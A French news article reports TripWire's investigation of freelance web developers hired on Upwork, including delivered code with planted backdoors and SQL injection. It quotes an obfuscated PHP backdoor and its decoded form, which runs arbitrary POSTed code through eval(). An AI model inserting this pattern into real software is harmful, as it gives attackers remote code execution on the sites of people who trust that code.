Ajouter un commentaire

Les développeurs indépendants seraient-ils un risque pour la cybersécurité ?

Par:
fredericmazue

ven, 16/06/2017 - 12:55

Oui à en croire une enquête TripWire. Une enquête dont les résultats sont à prendre avec des pincettes toutefois.

L'histoire démarre avec un blogueur spécialiste des smartphones qui a souhaité une refonte de son site. Pour cela, raconte-t-il, il a loué les services d'un développeur indépendant via Upwork, une plate-forme américaine de freelance.

Notre blogueur reçoit le code dans une archive ZIP et le décompresse sur un poste Windows, dont l'antivirus lui signale que le contenu de certains fichiers est suspect. Et pour cause. S'y trouvait du code PHP passablement obfusqué :

<?php $viu0="sutpe_or"; $iwvk7=$viu0[0].$viu0[2].$viu0[7].$viu0[2].$viu0[6].$viu0[1].$viu0[3].$viu0[3].$viu0[4].$viu0[7]; $uvwh73=$iwvk7 ($viu0[5].$viu0[3].$viu0[6].$viu0[0].$viu0[2]); if(isset(${$uvwh73}['q490ded'])){eval( ${$uvwh73}['q490ded']);} ?>

qui après décodage donne

<?php if(isset(${_POST}['q490ded'])){eval(${_POST}['q490ded']);} ?>

Autrement dit, le développeur avait placé une porte dérobée (backdoor ) dans le code : une requête de paramètre 'q490ded ' exécutant n'importe quelle code PHP fourni en argument.

A partir de cela, TripWire lance son enquête. Un cahier des charges est publié sur la plate-forme Upwork. Il s'agit pour une entreprise naissante, de développer un site simple pouvant uploader des documents devant être traduits par l'entreprise. Les comptes des clients doivent être gérés, et il doit être possible d'y pousser les documents traduits. Le site doit aussi avoir un formulaire de contact, la possibilité de poster des retours d'utilisateurs, etc. Un petit site avec des fonctionnalités de base. Budget : 250 dollars.

25 développeurs freelance sont ainsi contactés via Upwork, et très vite cela tourne mal. 8 sont immédiatement exclus pour avoir demandé à être rémunérés en dehors de la plate-forme afin de ne pas verser de commission. Violant ainsi les conditions d'utilisation.

Très rapidement, d'autres développeurs sont remerciés pour diverses raisons : avoir fourni un site sous WordPress sans gestion des utilisateurs et sans possibilité d'uploader un document, avoir abandonné le projet se disant trop occupé ailleurs, pour avoir demandé un budget supplémentaire en plaidant un malentendu au départ, pour avoir fourni des sites sous WordPress avec plein d'erreurs dans les pages, pour avoir fourni un template HTML+JS en répondant pas au cahier des charges, etc.

Enfin des développeurs livrent leur travail. En général, nous dit l'enquête, celui-ci est basé sur un framework (si tant est que WordPress mérite le nom de framework, mais c'est un autre débat :-) avec une partie adaptée au projet avec du code PHP.

Et le code n'est pas bon... On y trouve un vecteur d'injection SQL à priori placé tout exprès et moult problèmes après déploiement. Pêle-mêle : des requêtes SQL qui ne fonctionnent pas à cause de la configuration du serveur MySQL, du code PHP qui plante sur les chemins des fichiers sous Linux, problèmes de sensibilité à la casse, - majoritairement les développeurs ont travaillé avec un LAMP sous Windows - des URL brisées, etc.

On demande alors aux développeurs d'intervenir en se connectant au serveur sur lequel le site est déployé. Il s'agit de se connecter en SSH. L'un d'eux dit ne pas savoir à quoi sert une paire de clés asymétriques, un autre reçoit un mot de passe root mais dit ne disposer que de FTP et comme FTP n'est pas présent sur le serveur, il ne peut rien faire. Un autre reçoit un mot de passe root mais dit ne pas savoir quoi en faire, car le serveur ne propose pas un panneau dans lequel saisir ce mot de passe, un autre enfin dit ne pas pouvoir se connecter au serveur, car cPanel n'y est pas installé.

Les applicatifs ne sont donc pas beaucoup améliorés, et l'on regarde la sécurité. Aucun site ne prend de mesures contre un tentative d'upload d'un WebShell, la plupart permettent de passer outre l'authentification avec une injection SQL et globalement toutes les vulnérabilités classiques sont trouvées.

Conclusions de l'enquête : Avoir recours à un développeur indépendant, freelance, est tout à fait aventureux. Et TripWire de se fendre de quelques recommandations afin de savoir à qui on a à faire avant de se lancer.

Mais en fait, ce qui est aventureux, c'est de demander de réaliser un tel travail avec un budget de 250 dollars et d'établir le contact via une telle plate-forme. Il est certain que dans ces conditions, ce n'est pas l'élite qui va répondre, bien au contraire. C'est selon votre serviteur ce que montre surtout l'enquête.

Filtered HTML

Plain text

CAPTCHA
Cette question permet de vérifier que vous n'êtes pas un robot spammeur :-)
 U   U  L      CCC   SSS   FFFF 
U U L C S F
U U L C SSS FFF
U U L C S F
UUU LLLL CCC SSSS F